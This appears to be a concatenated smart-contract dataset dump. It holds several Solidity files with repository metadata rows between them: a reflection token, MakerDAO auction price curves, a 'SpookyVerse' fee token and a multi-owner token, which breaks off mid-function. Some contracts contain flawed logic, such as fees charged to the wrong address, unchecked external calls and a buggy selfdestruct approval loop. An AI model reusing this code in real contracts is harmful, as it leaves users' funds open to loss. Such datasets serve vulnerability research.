emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 257,842 | 10,816 |
45d04d2e28f8c3a3793cc77c770d517f126b0eba795c7b3fceb27dff768fb8b9
| 9,741 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Lending and Borrowing/Other/makerdao/abaci.sol
| 2,695 | 9,500 |
// SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published
// by the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.6.12;
interface Abacus {
// 1st arg: initial price [ray]
// 2nd arg: seconds since auction start [seconds]
// returns: current auction price [ray]
function price(uint256, uint256) external view returns (uint256);
}
contract LinearDecrease is Abacus {
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "LinearDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public tau; // Seconds after auction start when the price reaches zero [seconds]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "tau") tau = data;
else revert("LinearDecrease/file-unrecognized-param");
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
// Price calculation when price is decreased linearly in proportion to time:
// tau: The number of seconds after the start of the auction where the price will hit 0
// top: Initial price
// dur: current seconds since the start of the auction
//
// Returns y = top * ((tau - dur) / tau)
//
// Note the internal call to mul multiples by RAY, thereby ensuring that the rmul calculation
// which utilizes top and tau (RAY values) is also a RAY value.
function price(uint256 top, uint256 dur) override external view returns (uint256) {
if (dur >= tau) return 0;
return rmul(top, mul(tau - dur, RAY) / tau);
}
}
contract StairstepExponentialDecrease is Abacus {
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "StairstepExponentialDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public step; // Length of time between price drops [seconds]
uint256 public cut; // Per-step multiplicative factor [ray]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
// @notice: `cut` and `step` values must be correctly set for
// this contract to return a valid price
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "cut") require((cut = data) <= RAY, "StairstepExponentialDecrease/cut-gt-RAY");
else if (what == "step") step = data;
else revert("StairstepExponentialDecrease/file-unrecognized-param");
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
// optimized version from dss PR #78
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
assembly {
switch n case 0 { z := b }
default {
switch x case 0 { z := 0 }
default {
switch mod(n, 2) case 0 { z := b } default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if shr(128, x) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, b)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, b)
}
}
}
}
}
}
// top: initial price
// dur: seconds since the auction has started
// step: seconds between a price drop
// cut: cut encodes the percentage to decrease per step.
// For efficiency, the values is set as (1 - (% value / 100)) * RAY
// So, for a 1% decrease per step, cut would be (1 - 0.01) * RAY
//
// returns: top * (cut ^ dur)
//
//
function price(uint256 top, uint256 dur) override external view returns (uint256) {
return rmul(top, rpow(cut, dur / step, RAY));
}
}
// While an equivalent function can be obtained by setting step = 1 in StairstepExponentialDecrease,
contract ExponentialDecrease is Abacus {
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "ExponentialDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public cut; // Per-second multiplicative factor [ray]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
// @notice: `cut` value must be correctly set for
// this contract to return a valid price
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "cut") require((cut = data) <= RAY, "ExponentialDecrease/cut-gt-RAY");
else revert("ExponentialDecrease/file-unrecognized-param");
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
// optimized version from dss PR #78
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
assembly {
switch n case 0 { z := b }
default {
switch x case 0 { z := 0 }
default {
switch mod(n, 2) case 0 { z := b } default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if shr(128, x) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, b)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, b)
}
}
}
}
}
}
// top: initial price
// dur: seconds since the auction has started
// cut: cut encodes the percentage to decrease per second.
// For efficiency, the values is set as (1 - (% value / 100)) * RAY
// So, for a 1% decrease per second, cut would be (1 - 0.01) * RAY
//
// returns: top * (cut ^ dur)
//
function price(uint256 top, uint256 dur) override external view returns (uint256) {
return rmul(top, rpow(cut, dur, RAY));
}
}
| 66,999 | 10,817 |
a7811f2e130e67444efadcb43ea39d3aa8980db82c29f318d2017494b8ef9468
| 39,476 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e7/e73A89F868a96F5A5d0d581Fd8d42D59bc83aF65_SpookyVerse.sol
| 4,573 | 20,310 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
abstract contract OwnerRecovery is Ownable {
function recoverLostAVAX() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function recoverLostTokens(address _token,
address _to,
uint256 _amount) external onlyOwner {
IERC20(_token).transfer(_to, _amount);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ILiquidityPoolManager {
function owner() external view returns (address);
function getRouter() external view returns (address);
function getPair() external view returns (address);
function getLeftSide() external view returns (address);
function getRightSide() external view returns (address);
function isPair(address _pair) external view returns (bool);
function isRouter(address _router) external view returns (bool);
function isFeeReceiver(address _receiver) external view returns (bool);
function isLiquidityIntact() external view returns (bool);
function isLiquidityAdded() external view returns (bool);
function afterTokenTransfer(address sender) external returns (bool);
}
abstract contract LiquidityPoolManagerImplementationPointer is Ownable {
ILiquidityPoolManager internal liquidityPoolManager;
event UpdateLiquidityPoolManager(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyLiquidityPoolManager() {
require(address(liquidityPoolManager) != address(0),
"Implementations: LiquidityPoolManager is not set");
address sender = _msgSender();
require(sender == address(liquidityPoolManager),
"Implementations: Not LiquidityPoolManager");
_;
}
function getLiquidityPoolManagerImplementation() public view returns (address) {
return address(liquidityPoolManager);
}
function changeLiquidityPoolManagerImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(liquidityPoolManager);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"LiquidityPoolManager: You can only set 0x0 or a contract address as a new implementation");
liquidityPoolManager = ILiquidityPoolManager(newImplementation);
emit UpdateLiquidityPoolManager(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IWalletObserver {
function beforeTokenTransfer(address sender,
address from,
address to,
uint256 amount) external returns (bool);
}
abstract contract WalletObserverImplementationPointer is Ownable {
IWalletObserver internal walletObserver;
event UpdateWalletObserver(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyWalletObserver() {
require(address(walletObserver) != address(0),
"Implementations: WalletObserver is not set");
address sender = _msgSender();
require(sender == address(walletObserver),
"Implementations: Not WalletObserver");
_;
}
function getWalletObserverImplementation() public view returns (address) {
return address(walletObserver);
}
function changeWalletObserverImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(walletObserver);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"WalletObserver: You can only set 0x0 or a contract address as a new implementation");
walletObserver = IWalletObserver(newImplementation);
emit UpdateWalletObserver(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IJoePair {
function token0() external view returns (address);
function token1() external view returns (address);
}
contract SpookyVerse is
ERC20,
ERC20Burnable,
Ownable,
OwnerRecovery,
LiquidityPoolManagerImplementationPointer,
WalletObserverImplementationPointer
{
address public immutable factionsManager;
uint public sellFeesAmount;
uint public transferFeesAmount;
address public treasury;
modifier onlyFactionsManager() {
address sender = _msgSender();
require(sender == address(factionsManager),
"Implementations: Not FactionsManager");
_;
}
constructor(address _factionsManager, address _treasury) ERC20("SpookyVerse", "FEAR") {
require(_factionsManager != address(0),
"Implementations: factionsManager is not set");
factionsManager = _factionsManager;
_mint(owner(), 42_000_000_000 * (10**18));
setTreasury(_treasury);
setFeesAmount(100, 400);
}
function setFeesAmount(uint _sellFeesAmount, uint _transferFeesAmount) public onlyOwner {
require(_sellFeesAmount <= 150, "fees too high");
require(_transferFeesAmount <= 400, "fees too high");
sellFeesAmount = _sellFeesAmount;
transferFeesAmount = _transferFeesAmount;
}
function setTreasury(address _treasury) public onlyOwner {
treasury = _treasury;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (address(walletObserver) != address(0)) {
walletObserver.beforeTokenTransfer(_msgSender(), from, to, amount);
}
}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._afterTokenTransfer(from, to, amount);
if (address(liquidityPoolManager) != address(0)) {
liquidityPoolManager.afterTokenTransfer(_msgSender());
}
}
function accountBurn(address account, uint256 amount)
external
onlyFactionsManager
{
// Note: _burn will call _beforeTokenTransfer which will ensure no denied addresses can create cargos
// effectively protecting FactionsManager from suspicious addresses
super._burn(account, amount);
}
function accountReward(address account, uint256 amount)
external
onlyFactionsManager
{
require(address(liquidityPoolManager) != account,
"SpookyVerse: Use liquidityReward to reward liquidity");
super._mint(account, amount);
}
function liquidityReward(uint256 amount) external onlyFactionsManager {
require(address(liquidityPoolManager) != address(0),
"SpookyVerse: LiquidityPoolManager is not set");
super._mint(address(liquidityPoolManager), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
return _transferTaxOverride(_msgSender(), recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transferTaxOverride(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transferTaxOverride(address sender, address recipient, uint256 amount) internal returns (bool) {
uint _transferAmount;
if (isFEARLiquidityPool(recipient)) { // if the recipient address is a liquidity pool, apply sell fee
uint _fees = (amount * sellFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(_msgSender(), treasury, _fees); // transfer fee to treasury address
} else if (!isFEARLiquidityPool(sender)) { // apply transfer fee if this isn't a transfer from the pool (buy)
uint _fees = (amount * transferFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(_msgSender(), treasury, _fees); // transfer fee to treasury address
}
_transfer(sender, recipient, _transferAmount);
return true;
}
// retreive token from pool contract (with getter function)
function getPoolToken(address pool, string memory signature, function() external view returns(address) getter) private returns (address token) {
(bool success,) = pool.call(abi.encodeWithSignature(signature)); // if the call succeed (pool address have the "signature" method or "pool" is an EOA)
if (success) {
if (Address.isContract(pool)) { // verify that the pool is a contract (constructor can bypass this but its not dangerous)
return getter();
}
}
}
// return true if the "_recipient" address is a FEAR liquidity pool
function isFEARLiquidityPool(address _recipient) private returns (bool) {
address token0 = getPoolToken(_recipient, "token0()", IJoePair(_recipient).token0);
address token1 = getPoolToken(_recipient, "token1()", IJoePair(_recipient).token1);
return (token0 == address(this) || token1 == address(this));
}
}
| 111,824 | 10,818 |
113032d0c8671464c23c65889d36be494a70a418a144bdde990507b5268588e6
| 12,156 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x2d5ffc14abcc10e11a354e29cb6ca343e33cd5bc.sol
| 3,300 | 11,941 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract MultiOwner {
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
event RequirementChanged(uint256 newRequirement);
uint256 public ownerRequired;
mapping (address => bool) public isOwner;
mapping (address => bool) public RequireDispose;
address[] owners;
function MultiOwner(address[] _owners, uint256 _required) public {
ownerRequired = _required;
isOwner[msg.sender] = true;
owners.push(msg.sender);
for (uint256 i = 0; i < _owners.length; ++i){
require(!isOwner[_owners[i]]);
isOwner[_owners[i]] = true;
owners.push(_owners[i]);
}
}
modifier onlyOwner {
require(isOwner[msg.sender]);
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
function addOwner(address owner) onlyOwner ownerDoesNotExist(owner) external{
isOwner[owner] = true;
owners.push(owner);
OwnerAdded(owner);
}
function numberOwners() public constant returns (uint256 NumberOwners){
NumberOwners = owners.length;
}
function removeOwner(address owner) onlyOwner ownerExists(owner) external{
require(owners.length > 2);
isOwner[owner] = false;
RequireDispose[owner] = false;
for (uint256 i=0; i<owners.length - 1; i++){
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
OwnerRemoved(owner);
}
function changeRequirement(uint _newRequired) onlyOwner external {
require(_newRequired >= owners.length);
ownerRequired = _newRequired;
RequirementChanged(_newRequired);
}
function ConfirmDispose() onlyOwner() public view returns (bool){
uint count = 0;
for (uint i=0; i<owners.length - 1; i++)
if (RequireDispose[owners[i]])
count += 1;
if (count == ownerRequired)
return true;
}
function kill() onlyOwner() public{
RequireDispose[msg.sender] = true;
if(ConfirmDispose()){
selfdestruct(msg.sender);
}
}
}
interface ERC20{
function transfer(address _to, uint _value, bytes _data) public;
function transfer(address _to, uint256 _value) public;
function transferFrom(address _from, address _to, uint256 _value, bool _feed, uint256 _fees) public returns (bool success);
function setPrices(uint256 newValue) public;
function freezeAccount(address target, bool freeze) public;
function() payable public;
function remainBalanced() public constant returns (uint256);
function execute(address _to, uint _value, bytes _data) external returns (bytes32 _r);
function isConfirmed(bytes32 TransHash) public constant returns (bool);
function confirmationCount(bytes32 TransHash) external constant returns (uint count);
function confirmTransaction(bytes32 TransHash) public;
function executeTransaction(bytes32 TransHash) public;
function AccountVoid(address _from) public;
function burn(uint amount) public;
function bonus(uint amount) public;
event SubmitTransaction(bytes32 transactionHash);
event Confirmation(address sender, bytes32 transactionHash);
event Execution(bytes32 transactionHash);
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint value);
event FeePaid(address indexed from, address indexed to, uint256 value);
event VoidAccount(address indexed from, address indexed to, uint256 value);
event Bonus(uint256 value);
event Burn(uint256 value);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract Token is MultiOwner, ERC20, ERC223{
using SafeMath for uint256;
string public name = "";
string public symbol = "XFB";
uint8 public decimals = 8;
uint256 public totalSupply = 700000000 * 10 ** uint256(decimals);
uint256 public EthPerToken = 700000;
mapping(address => uint256) public balanceOf;
mapping(address => bool) public frozenAccount;
mapping (bytes32 => mapping (address => bool)) public Confirmations;
mapping (bytes32 => Transaction) public Transactions;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier notNull(address destination) {
require (destination != 0x0);
_;
}
modifier confirmed(bytes32 transactionHash) {
require (Confirmations[transactionHash][msg.sender]);
_;
}
modifier notConfirmed(bytes32 transactionHash) {
require (!Confirmations[transactionHash][msg.sender]);
_;
}
modifier notExecuted(bytes32 TransHash) {
require (!Transactions[TransHash].executed);
_;
}
function Token(address[] _owners, uint256 _required) MultiOwner(_owners, _required) public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
require(!frozenAccount[_from]);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function _collect_fee(address _from, address _to, uint256 _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
require(!frozenAccount[_from]);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
